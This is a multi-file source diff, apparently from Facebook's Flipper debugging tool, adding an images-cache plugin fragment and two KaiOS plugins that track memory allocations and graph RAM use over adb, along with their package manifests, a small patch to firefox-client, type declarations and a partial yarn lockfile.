const maybeImage = this.props.persistedState.imagesMap[selectedImage];
const events = this.props.persistedState.events.filter(e =>
e.imageIds.includes(selectedImage),
);
return <ImagesSidebar image={maybeImage} events={events} />;
};
onSurfaceChange = (surfaces: Set<string>) => {
this.updateImagesOnUI(
this.props.persistedState.images,
surfaces,
this.state.coldStartFilter,
);
};
onColdStartChange = (checked: boolean) => {
this.updateImagesOnUI(
this.props.persistedState.images,
this.state.selectedSurfaces,
checked,
);
};
onTrackLeaks = (checked: boolean) => {
this.props.logger.track('usage', 'fresco:onTrackLeaks', {enabled: checked});
this.props.setPersistedState({
isLeakTrackingEnabled: checked,
});
};
render() {
const options = [...this.props.persistedState.surfaceList].reduce(
(acc, item) => {
return [...acc, item];
},
[surfaceDefaultText],
);
let {selectedSurfaces} = this.state;
if (selectedSurfaces.has(surfaceDefaultText)) {
selectedSurfaces = new Set(options);
}
return (
<React.Fragment>
<ImagesCacheOverview
allSurfacesOption={surfaceDefaultText}
surfaceOptions={new Set(options)}
selectedSurfaces={selectedSurfaces}
onChangeSurface={this.onSurfaceChange}
coldStartFilter={this.state.coldStartFilter}
onColdStartChange={this.onColdStartChange}
images={this.state.images}
onClear={this.onClear}
onTrimMemory={this.onTrimMemory}
onRefresh={() => this.updateCaches('refresh')}
onEnableDebugOverlay={this.onEnableDebugOverlay}
onEnableAutoRefresh={this.onEnableAutoRefresh}
isDebugOverlayEnabled={this.state.isDebugOverlayEnabled}
isAutoRefreshEnabled={this.state.isAutoRefreshEnabled}
onImageSelected={this.onImageSelected}
imagesMap={this.props.persistedState.imagesMap}
events={this.props.persistedState.events}
isLeakTrackingEnabled={
this.props.persistedState.isLeakTrackingEnabled
}
onTrackLeaks={this.onTrackLeaks}
/>
<DetailSidebar>{this.renderSidebar()}</DetailSidebar>
</React.Fragment>
);
}
}

View File

@@ -0,0 +1,12 @@
{
"name": "Fresco",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"title": "Images",
"icon": "profile",
"bugs": {
"email": "oncall+fresco@xmail.facebook.com"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,442 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import React from 'react';
import {FlipperDevicePlugin, Device, KaiOSDevice} from 'flipper';
import {
Button,
Toolbar,
ManagedTable,
Panel,
Label,
Input,
Select,
} from 'flipper';
import {sleep} from 'flipper';
import util from 'util';
import {exec} from 'promisify-child-process';
import FirefoxClient from 'firefox-client';
import BaseClientMethods from 'firefox-client/lib/client-methods';
import extend from 'firefox-client/lib/extend';
// This uses legacy `extend` from `firefox-client`, since this seems to be what the implementation expects
// It's probably possible to rewrite this in a modern way and properly type it, but for now leaving this as it is
const ClientMethods: any = extend(BaseClientMethods, {
initialize: function(client: any, actor: any) {
this.client = client;
this.actor = actor;
this.cb = function(this: typeof ClientMethods, message: any) {
if (message.from === this.actor) {
this.emit(message.type, message);
}
}.bind(this);
this.client.on('message', this.cb);
},
disconnect: function() {
this.client.removeListener('message', this.cb);
},
});
function Memory(this: typeof ClientMethods, client: any, actor: any): any {
this.initialize(client, actor);
}
// Repetitive, it is probably better to refactor this
// to use API like `runCommand(commandName, params): Promise`
Memory.prototype = extend(ClientMethods, {
attach: function(cb: any) {
this.request('attach', function(err: any, resp: any) {
cb(err, resp);
});
},
getState: function(cb: any) {
this.request('getState', function(err: any, resp: any) {
cb(err, resp);
});
},
takeCensus: function(cb: any) {
this.request('takeCensus', function(err: any, resp: any) {
cb(err, resp);
});
},
getAllocations: function(cb: any) {
this.request('getAllocations', function(err: any, resp: any) {
cb(err, resp);
});
},
startRecordingAllocations: function(options: any, cb: any) {
this.request('startRecordingAllocations', {options}, function(
err: any,
resp: any,
) {
cb(err, resp);
});
},
stopRecordingAllocations: function(cb: any) {
this.request('stopRecordingAllocations', function(err: any, resp: any) {
cb(err, resp);
});
},
measure: function(cb: any) {
this.request('measure', function(err: any, resp: any) {
cb(err, resp);
});
},
getAllocationsSettings: function(cb: any) {
this.request('getAllocationsSettings', function(err: any, resp: any) {
cb(err, resp);
});
},
});
const ffPromisify = (o: {[key: string]: any}, m: string) =>
util.promisify(o[m].bind(o));
const ColumnSizes = {
timestamp: 'flex',
freeMem: 'flex',
};
const Columns = {
timestamp: {
value: 'time',
resizable: true,
},
allocationSize: {
value: 'Allocation bytes',
resizable: true,
},
functionName: {
value: 'Function',
resizable: true,
},
};
type Allocation = {
timestamp: number;
allocationSize: number;
functionName: string;
};
type State = {
apps: {[key: string]: string};
runningAppName: null | string;
allocationData: Array<Allocation>;
totalAllocations: number;
totalAllocatedBytes: number;
monitoring: boolean;
allocationsBySize: {[key: string]: number};
minAllocationSizeInTable: number;
};
const LOCALSTORAGE_APP_NAME_KEY = '__KAIOS_ALLOCATIONS_PLUGIN_CACHED_APP_NAME';
const LOCALSTORAGE_MIN_ALLOCATION_SIZE_KEY =
'__KAIOS_ALLOCATIONS_PLUGIN_MIN_ALLOCATION_SIZE';
const DEFAULT_MIN_ALLOCATION_SIZE = 128;
function getMinAllocationSizeFromLocalStorage(): number {
const ls = localStorage.getItem(LOCALSTORAGE_MIN_ALLOCATION_SIZE_KEY);
if (!ls) {
return DEFAULT_MIN_ALLOCATION_SIZE;
}
const parsed = parseInt(ls, 10);
return !isNaN(parsed) ? parsed : DEFAULT_MIN_ALLOCATION_SIZE;
}
export default class AllocationsPlugin extends FlipperDevicePlugin<
State,
any,
any
> {
currentApp: any = null;
memory: any = null;
client: any = null;
webApps: any = null;
state: State = {
apps: {},
runningAppName: null,
monitoring: false,
allocationData: [],
totalAllocations: 0,
totalAllocatedBytes: 0,
allocationsBySize: {},
minAllocationSizeInTable: getMinAllocationSizeFromLocalStorage(),
};
static supportsDevice(device: Device) {
return device instanceof KaiOSDevice;
}
onStartMonitor = async () => {
if (this.state.monitoring) {
return;
}
// TODO: try to reconnect in case of failure
await ffPromisify(
this.memory,
'startRecordingAllocations',
)({
probability: 1.0,
maxLogLength: 20000,
drainAllocationsTimeout: 1500,
trackingAllocationSites: true,
});
this.setState({monitoring: true});
};
onStopMonitor = async () => {
if (!this.state.monitoring) {
return;
}
this.tearDownApp();
this.setState({monitoring: false});
};
// reloads the list of apps every two seconds
reloadAppListWhenNotMonitoring = async () => {
while (true) {
if (!this.state.monitoring) {
try {
await this.processListOfApps();
} catch (e) {
console.error('Exception, attempting to reconnect', e);
await this.connectToDebugApi();
// processing the list of the apps is going to be automatically retried now
}
}
await sleep(2000);
}
};
async connectToDebugApi(): Promise<void> {
this.client = new FirefoxClient({log: false});
await ffPromisify(this.client, 'connect')(6000, 'localhost');
this.webApps = await ffPromisify(this.client, 'getWebapps')();
}
async processListOfApps(): Promise<void> {
const runningAppUrls = await ffPromisify(this.webApps, 'listRunningApps')();
const lastUsedAppName = localStorage.getItem(LOCALSTORAGE_APP_NAME_KEY);
let runningAppName = null;
const appTitleToUrl: {[key: string]: string} = {};
for (const runningAppUrl of runningAppUrls) {
const app = await ffPromisify(this.webApps, 'getApp')(runningAppUrl);
appTitleToUrl[app.title] = runningAppUrl;
if (app.title === lastUsedAppName) {
runningAppName = app.title;
}
}
if (runningAppName && this.state.runningAppName !== runningAppName) {
this.setUpApp(appTitleToUrl[runningAppName]);
}
this.setState({
apps: appTitleToUrl,
runningAppName,
});
}
async init() {
await exec(
'adb forward tcp:6000 localfilesystem:/data/local/debugger-socket',
);
await this.connectToDebugApi();
await this.processListOfApps();
// no await because reloading runs in the background
this.reloadAppListWhenNotMonitoring();
}
async teardown() {
if (this.state.monitoring) {
await this.onStopMonitor();
}
}
async setUpApp(appUrl: string) {
this.currentApp = await ffPromisify(this.webApps, 'getApp')(appUrl);
if (!this.currentApp) {
// TODO: notify user?
throw new Error('Cannot connect to app');
}
const {
tab: {memoryActor},
} = this.currentApp;
this.memory = new (Memory as any)(this.currentApp.client, memoryActor);
await ffPromisify(this.memory, 'attach')();
this.currentApp.client.on('message', this.processAllocationsMsg);
}
async tearDownApp() {
if (!this.currentApp) {
return;
}
this.currentApp.client.off('message', this.processAllocationsMsg);
await ffPromisify(this.memory, 'stopRecordingAllocations')();
this.currentApp = null;
this.memory = null;
}
processAllocationsMsg = (msg: any) => {
if (msg.type !== 'allocations') {
return;
}
this.updateAllocations(msg.data);
};
updateAllocations = (data: any) => {
const {allocations, allocationsTimestamps, allocationSizes, frames} = data;
const newAllocationData = [...this.state.allocationData];
let newTotalAllocations = this.state.totalAllocations;
let newTotalAllocatedBytes = this.state.totalAllocatedBytes;
const newAllocationsBySize = {...this.state.allocationsBySize};
for (let i = 0; i < allocations.length; ++i) {
const frameId = allocations[i];
const timestamp = allocationsTimestamps[i];
const allocationSize = allocationSizes[i];
const functionName = frames[frameId]
? frames[frameId].functionDisplayName
: null;
if (allocationSize >= this.state.minAllocationSizeInTable) {
newAllocationData.push({timestamp, allocationSize, functionName});
}
newAllocationsBySize[allocationSize] =
(newAllocationsBySize[allocationSize] || 0) + 1;
newTotalAllocations++;
newTotalAllocatedBytes += allocationSize;
}
this.setState({
allocationData: newAllocationData,
totalAllocations: newTotalAllocations,
totalAllocatedBytes: newTotalAllocatedBytes,
allocationsBySize: newAllocationsBySize,
});
};
buildMemRows = () => {
return this.state.allocationData.map(info => {
return {
columns: {
timestamp: {
value: info.timestamp,
filterValue: info.timestamp,
},
allocationSize: {
value: info.allocationSize,
filterValue: info.allocationSize,
},
functionName: {
value: info.functionName,
filterValue: info.functionName,
},
},
key: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
copyText: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
filterValue: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
};
});
};
onAppChange = (newAppTitle: string) => {
localStorage[LOCALSTORAGE_APP_NAME_KEY] = newAppTitle;
this.setState({runningAppName: newAppTitle});
this.tearDownApp();
this.setUpApp(this.state.apps[newAppTitle]);
};
onMinAllocationSizeChange = (event: any) => {
const newMinAllocationSize = event.target.value;
this.setState({
minAllocationSizeInTable: newMinAllocationSize,
});
};
render() {
const appTitlesForSelect: {[key: string]: string} = {};
for (const [appTitle] of Object.entries(this.state.apps)) {
appTitlesForSelect[appTitle] = appTitle;
}
return (
<React.Fragment>
<Panel
padded={false}
heading="Page allocations"
floating={false}
collapsable={false}
grow={true}>
<Toolbar position="top">
<Select
options={appTitlesForSelect}
onChangeWithKey={this.onAppChange}
selected={this.state.runningAppName}
disabled={this.state.monitoring}
/>
{this.state.monitoring ? (
<Button onClick={this.onStopMonitor} icon="pause">
Pause
</Button>
) : (
<Button onClick={this.onStartMonitor} icon="play">
Start
</Button>
)}
<Label>
Min allocation size in bytes{' '}
<Input
placeholder="min bytes"
value={this.state.minAllocationSizeInTable}
type="number"
onChange={this.onMinAllocationSizeChange}
disabled={this.state.monitoring}
/>
</Label>
</Toolbar>
<Label>
Total number of allocations: {this.state.totalAllocations}
</Label>
<br />
<Label>
Total MBs allocated:{' '}
{(this.state.totalAllocatedBytes / 1024 / 1024).toFixed(3)}
</Label>
<ManagedTable
multiline={true}
columnSizes={ColumnSizes}
columns={Columns}
floating={false}
zebra={true}
rows={this.buildMemRows()}
/>
</Panel>
</React.Fragment>
);
}
}

View File

@@ -0,0 +1,28 @@
{
"name": "kaios-big-allocations",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"title": "KaiOS: big allocations",
"icon": "apps",
"bugs": {
"email": "oncall+wa_kaios@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/wa.kaios/"
},
"scripts": {
"postinstall": "patch-package"
},
"devDependencies": {
"patch-package": "^6.2.0",
"postinstall-postinstall": "^2.0.0"
},
"dependencies": {
"firefox-client": "0.3.0",
"promisify-child-process": "^3.1.1"
},
"greenkeeper": {
"ignore": [
"firefox-client"
]
}
}

View File

@@ -0,0 +1,13 @@
diff --git a/node_modules/firefox-client/lib/client.js b/node_modules/firefox-client/lib/client.js
index 22b3179..11e8d7f 100644
--- a/node_modules/firefox-client/lib/client.js
+++ b/node_modules/firefox-client/lib/client.js
@@ -2,8 +2,6 @@ var net = require("net"),
events = require("events"),
extend = require("./extend");
-var colors = require("colors");
-
module.exports = Client;
// this is very unfortunate! and temporary. we can't

View File

@@ -0,0 +1,49 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
declare module 'firefox-client' {
export default class FirefoxClient {
constructor(options: any);
connect(port: any, host: any, cb: any): void;
disconnect(): void;
getDevice(cb: any): any;
getRoot(cb: any): any;
getWebapps(cb: any): any;
listTabs(cb: any): any;
onEnd(): void;
onError(error: any): void;
onTimeout(): void;
selectedTab(cb: any): any;
}
}
declare module 'firefox-client/lib/client-methods' {
import FirefoxClient from 'firefox-client';
export default class ClientMethods {
initialize(client: FirefoxClient, actor: any): void;
request(type: any, message: any, transform: any, callback: Function): void;
}
}
declare module 'firefox-client/lib/extend' {
import FirefoxClient from 'firefox-client';
export default function extend(prototype: any, o: any): any;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,282 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import React from 'react';
import {FlipperDevicePlugin, Device, KaiOSDevice, sleep} from 'flipper';
import {FlexColumn, Button, Toolbar, Panel} from 'flipper';
import {
Legend,
LineChart,
Line,
YAxis,
XAxis,
CartesianGrid,
ResponsiveContainer,
Tooltip,
} from 'recharts';
import adb from 'adbkit';
import {exec} from 'promisify-child-process';
const PALETTE = [
'#FFD700',
'#FF6347',
'#8A2BE2',
'#A52A2A',
'#40E0D0',
'#006400',
'#ADFF2F',
'#FF00FF',
];
// For now, let's limit the number of points shown
// The graph will automatically drop the oldest point if this number is reached
const MAX_POINTS = 100;
// This is to have some consistency in the Y axis scale
// Recharts should automatically adjust the axis if any data point gets above this value
const Y_AXIS_EXPECTED_MAX_MEM = 200;
const EXCLUDE_PROCESS_NAME_SUBSTRINGS = [
'(Nuwa)',
'Launcher',
'Built-in',
'Jio',
'(Preallocated',
];
type DataPoint = {
[key: string]: number;
};
type Colors = {
[key: string]: string;
};
type State = {
points: Array<DataPoint>;
colors: Colors;
monitoring: boolean;
};
export default class KaiOSGraphs extends FlipperDevicePlugin<State, any, any> {
state = {
points: [],
colors: {},
monitoring: false,
};
static supportsDevice(device: Device) {
return device instanceof KaiOSDevice;
}
async init() {
try {
await exec('adb root');
} catch (e) {
console.error('Error obtaining root on the device', e);
}
}
teardown() {
this.onStopMonitor();
}
onStartMonitor = () => {
this.setState(
{
monitoring: true,
},
() => {
// no await because monitoring runs in the background
this.monitorInBackground();
},
);
};
onStopMonitor = () => {
this.setState({
monitoring: false,
});
};
monitorInBackground = async () => {
while (this.state.monitoring) {
await this.updateFreeMem();
await sleep(1000);
}
};
executeShell = (command: string) => {
return (this.device as KaiOSDevice).adb
.shell(this.device.serial, command)
.then(adb.util.readAll)
.then(output => {
return output.toString().trim();
});
};
getMemory = () => {
return this.executeShell('b2g-info').then(output => {
const lines = output.split('\n').map(line => line.trim());
let freeMem = null;
for (const line of lines) {
// TODO: regex validation
if (line.startsWith('Free + cache')) {
const fields = line.split(' ');
const mem = fields[fields.length - 2];
freeMem = parseFloat(mem);
}
}
const appInfoData: {[key: string]: number} = {};
let appInfoSectionFieldsCount;
const appInfoSectionFieldToIndex: {[key: string]: number} = {};
for (const line of lines) {
if (line.startsWith('System memory info:')) {
// We're outside of the app info section
// Reset the counter, since it is used for detecting if we need to parse
// app memory usage data
appInfoSectionFieldsCount = undefined;
break;
}
if (!line) {
continue;
}
if (appInfoSectionFieldsCount) {
let fields = line.trim().split(/\s+/);
// Assume that only name field can contain spaces
const name = fields
.slice(0, -appInfoSectionFieldsCount + 1)
.join(' ');
const restOfTheFields = fields.slice(-appInfoSectionFieldsCount + 1);
fields = [name, ...restOfTheFields];
if (
EXCLUDE_PROCESS_NAME_SUBSTRINGS.some(excludeSubstr =>
name.includes(excludeSubstr),
)
) {
continue;
}
if (fields[1].match(/[^0-9]+/)) {
// TODO: probably implement this through something other than b2g
throw new Error('Support for names with spaces is not implemented');
}
if (name !== 'b2g') {
const ussString = fields[appInfoSectionFieldToIndex['USS']];
const uss = ussString ? parseFloat(ussString) : -1;
appInfoData[name + ' USS'] = uss;
} else {
const rssString = fields[appInfoSectionFieldToIndex['RSS']];
const rss = rssString ? parseFloat(rssString) : -1;
appInfoData[name + ' RSS'] = rss;
}
}
if (line.startsWith('NAME')) {
// We're in the app info section now
const fields = line.trim().split(/\s+/);
appInfoSectionFieldsCount = fields.length;
for (let i = 0; i < fields.length; i++) {
appInfoSectionFieldToIndex[fields[i]] = i;
}
}
}
return {'Total free': freeMem != null ? freeMem : -1, ...appInfoData};
});
};
getColors = (point: DataPoint) => {
const oldColors = this.state.colors;
let newColors: Colors | null = null;
let newColorsCount = 0;
const existingNames = Object.keys(oldColors);
for (const name of Object.keys(point)) {
if (!(name in oldColors)) {
if (!newColors) {
newColors = {...oldColors};
}
newColors[name] = PALETTE[existingNames.length + newColorsCount];
newColorsCount++;
}
}
return newColors;
};
updateFreeMem = () => {
// This can be improved by using immutable.js
// If more points are necessary
return this.getMemory().then(point => {
const points = [...this.state.points.slice(-MAX_POINTS + 1), point];
const colors = this.getColors(point);
let newState = {};
if (colors) {
newState = {colors, points};
} else {
newState = {points};
}
this.setState(newState);
});
};
render() {
const pointsToDraw = this.state.points.map((point, idx) => ({
...(point as Object),
idx,
}));
const colors: Colors = this.state.colors;
const names = Object.keys(colors);
return (
<Panel
padded={false}
heading="Free memory"
floating={false}
collapsable={false}
grow={true}>
<Toolbar position="top">
{this.state.monitoring ? (
<Button onClick={this.onStopMonitor} icon="pause">
Pause
</Button>
) : (
<Button onClick={this.onStartMonitor} icon="play">
Start
</Button>
)}
</Toolbar>
<FlexColumn grow={true}>
<ResponsiveContainer height={500}>
<LineChart data={pointsToDraw}>
<XAxis type="number" domain={[0, MAX_POINTS]} dataKey="idx" />
<YAxis type="number" domain={[0, Y_AXIS_EXPECTED_MAX_MEM]} />
{names.map(name => (
<Line
key={`line-${name}`}
type="linear"
dataKey={name}
stroke={colors[name]}
isAnimationActive={false}
/>
))}
<Tooltip />
<Legend verticalAlign="bottom" height={36} />
<CartesianGrid stroke="#eee" strokeDasharray="5 5" />
</LineChart>
</ResponsiveContainer>
</FlexColumn>
</Panel>
);
}
}

View File

@@ -0,0 +1,22 @@
{
"name": "kaios-graphs",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"title": "KaiOS RAM graph",
"icon": "apps",
"bugs": {
"email": "oncall+wa_kaios@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/wa.kaios/"
},
"dependencies": {
"promisify-child-process": "^3.1.3",
"recharts": "1.7.1"
},
"devDependencies": {
"@types/recharts": "1.8.6"
},
"resolutions": {
"@types/react": "16.9.17"
}
}

View File

@@ -0,0 +1,306 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
"@babel/runtime@^7.1.2":
version "7.5.5"
resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.5.5.tgz#74fba56d35efbeca444091c7850ccd494fd2f132"
integrity sha512-28QvEGyQyNkB0/m2B4FU7IEZGK2NUrcMtT6BZEFALTguLk+AUT6ofsHtPk5QyjAdUkpMJ+/Em+quwz4HOt30AQ==
dependencies:
regenerator-runtime "^0.13.2"
"@babel/runtime@^7.1.5":
version "7.7.7"
resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.7.7.tgz#194769ca8d6d7790ec23605af9ee3e42a0aa79cf"
integrity sha512-uCnC2JEVAu8AKB5do1WRIsvrdJ0flYx/A/9f/6chdacnEZ7LmavjdsDXr5ksYBegxtuTPR5Va9/+13QF/kFkCA==
dependencies:
regenerator-runtime "^0.13.2"
"@types/d3-path@*":
version "1.0.8"
resolved "https://registry.yarnpkg.com/@types/d3-path/-/d3-path-1.0.8.tgz#48e6945a8ff43ee0a1ce85c8cfa2337de85c7c79"
integrity sha512-AZGHWslq/oApTAHu9+yH/Bnk63y9oFOMROtqPAtxl5uB6qm1x2lueWdVEjsjjV3Qc2+QfuzKIwIR5MvVBakfzA==
"@types/d3-shape@*":
version "1.3.2"
resolved "https://registry.yarnpkg.com/@types/d3-shape/-/d3-shape-1.3.2.tgz#a41d9d6b10d02e221696b240caf0b5d0f5a588ec"
integrity sha512-LtD8EaNYCaBRzHzaAiIPrfcL3DdIysc81dkGlQvv7WQP3+YXV7b0JJTtR1U3bzeRieS603KF4wUo+ZkJVenh8w==
dependencies:
"@types/d3-path" "*"
"@types/prop-types@*":
version "15.7.3"
resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
"@types/react@*", "@types/react@16.9.17":
version "16.9.17"
resolved "https://registry.yarnpkg.com/@types/react/-/react-16.9.17.tgz#58f0cc0e9ec2425d1441dd7b623421a867aa253e"
integrity sha512-UP27In4fp4sWF5JgyV6pwVPAQM83Fj76JOcg02X5BZcpSu5Wx+fP9RMqc2v0ssBoQIFvD5JdKY41gjJJKmw6Bg==
dependencies:
"@types/prop-types" "*"
csstype "^2.2.0"
"@types/recharts-scale@*":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@types/recharts-scale/-/recharts-scale-1.0.0.tgz#348c9220d6d9062c44a9d585d686644a97f7e25d"
integrity sha512-HR/PrCcxYb2YHviTqH7CMdL1TUhUZLTUKzfrkMhxm1HTa5mg/QtP8XMiuSPz6dZ6wecazAOu8aYZ5DqkNlgHHQ==
"@types/recharts@1.8.6":
version "1.8.6"
resolved "https://registry.yarnpkg.com/@types/recharts/-/recharts-1.8.6.tgz#1368e174a21e6b12d1344dba0ae0eea68f8706f0"
integrity sha512-UnuLpnXbpyLzxYJ6PuRMBR6K7X0Ih60M/PVaUwT6jtvJXqlVEmU5ABx0etgzG2DkOnYhpHvD9tjOjyrdUKrUPQ==
dependencies:
"@types/d3-shape" "*"
"@types/react" "*"
"@types/recharts-scale" "*"
balanced-match@^0.4.2:
version "0.4.2"
resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-0.4.2.tgz#cb3f3e3c732dc0f01ee70b403f302e61d7709838"
integrity sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=
classnames@^2.2.5:
version "2.2.6"
resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce"
integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==
core-js@^2.5.1:
version "2.6.9"
resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.9.tgz#6b4b214620c834152e179323727fc19741b084f2"
integrity sha512-HOpZf6eXmnl7la+cUdMnLvUxKNqLUzJvgIziQ0DiF3JwSImNphIqdGqzj6hIKyX04MmV0poclQ7+wjWvxQyR2A==
csstype@^2.2.0:
version "2.6.7"
resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.7.tgz#20b0024c20b6718f4eda3853a1f5a1cce7f5e4a5"
integrity sha512-9Mcn9sFbGBAdmimWb2gLVDtFJzeKtDGIr76TUqmjZrw9LFXBMSU70lcs+C0/7fyCd6iBDqmksUcCOUIkisPHsQ==
d3-array@^1.2.0:
version "1.2.4"
resolved "https://registry.yarnpkg.com/d3-array/-/d3-array-1.2.4.tgz#635ce4d5eea759f6f605863dbcfc30edc737f71f"
integrity sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==
d3-collection@1:
version "1.0.7"
resolved "https://registry.yarnpkg.com/d3-collection/-/d3-collection-1.0.7.tgz#349bd2aa9977db071091c13144d5e4f16b5b310e"
integrity sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==
d3-color@1:
version "1.3.0"
resolved "https://registry.yarnpkg.com/d3-color/-/d3-color-1.3.0.tgz#675818359074215b020dc1d41d518136dcb18fa9"
integrity sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==
d3-format@1:
version "1.3.2"
resolved "https://registry.yarnpkg.com/d3-format/-/d3-format-1.3.2.tgz#6a96b5e31bcb98122a30863f7d92365c00603562"
integrity sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==
d3-interpolate@1, d3-interpolate@^1.3.0:
version "1.3.2"
resolved "https://registry.yarnpkg.com/d3-interpolate/-/d3-interpolate-1.3.2.tgz#417d3ebdeb4bc4efcc8fd4361c55e4040211fd68"
integrity sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==
dependencies:
d3-color "1"
d3-path@1:
version "1.0.8"
resolved "https://registry.yarnpkg.com/d3-path/-/d3-path-1.0.8.tgz#4a0606a794d104513ec4a8af43525f374b278719"
integrity sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==
d3-scale@^2.1.0:
version "2.2.2"
resolved "https://registry.yarnpkg.com/d3-scale/-/d3-scale-2.2.2.tgz#4e880e0b2745acaaddd3ede26a9e908a9e17b81f"
integrity sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==
dependencies:
d3-array "^1.2.0"
d3-collection "1"
d3-format "1"
d3-interpolate "1"
d3-time "1"
d3-time-format "2"
d3-shape@^1.2.0:
version "1.3.5"
resolved "https://registry.yarnpkg.com/d3-shape/-/d3-shape-1.3.5.tgz#e81aea5940f59f0a79cfccac012232a8987c6033"
integrity sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==
dependencies:
d3-path "1"
d3-time-format@2:
version "2.1.3"
resolved "https://registry.yarnpkg.com/d3-time-format/-/d3-time-format-2.1.3.tgz#ae06f8e0126a9d60d6364eac5b1533ae1bac826b"
integrity sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==
dependencies:
d3-time "1"
d3-time@1:
version "1.0.11"
resolved "https://registry.yarnpkg.com/d3-time/-/d3-time-1.0.11.tgz#1d831a3e25cd189eb256c17770a666368762bbce"
integrity sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==
decimal.js-light@^2.4.1:
version "2.5.0"
resolved "https://registry.yarnpkg.com/decimal.js-light/-/decimal.js-light-2.5.0.tgz#ca7faf504c799326df94b0ab920424fdfc125348"
integrity sha512-b3VJCbd2hwUpeRGG3Toob+CRo8W22xplipNhP3tN7TSVB/cyMX71P1vM2Xjc9H74uV6dS2hDDmo/rHq8L87Upg==
dom-helpers@^3.4.0:
version "3.4.0"
resolved "https://registry.yarnpkg.com/dom-helpers/-/dom-helpers-3.4.0.tgz#e9b369700f959f62ecde5a6babde4bccd9169af8"
integrity sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==
dependencies:
"@babel/runtime" "^7.1.2"
"js-tokens@^3.0.0 || ^4.0.0":
version "4.0.0"
resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
lodash.debounce@^4.0.8:
version "4.0.8"
resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
lodash.throttle@^4.1.1:
version "4.1.1"
resolved "https://registry.yarnpkg.com/lodash.throttle/-/lodash.throttle-4.1.1.tgz#c23e91b710242ac70c37f1e1cda9274cc39bf2f4"
integrity sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=
lodash@^4.17.5, lodash@~4.17.4:
version "4.17.15"
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
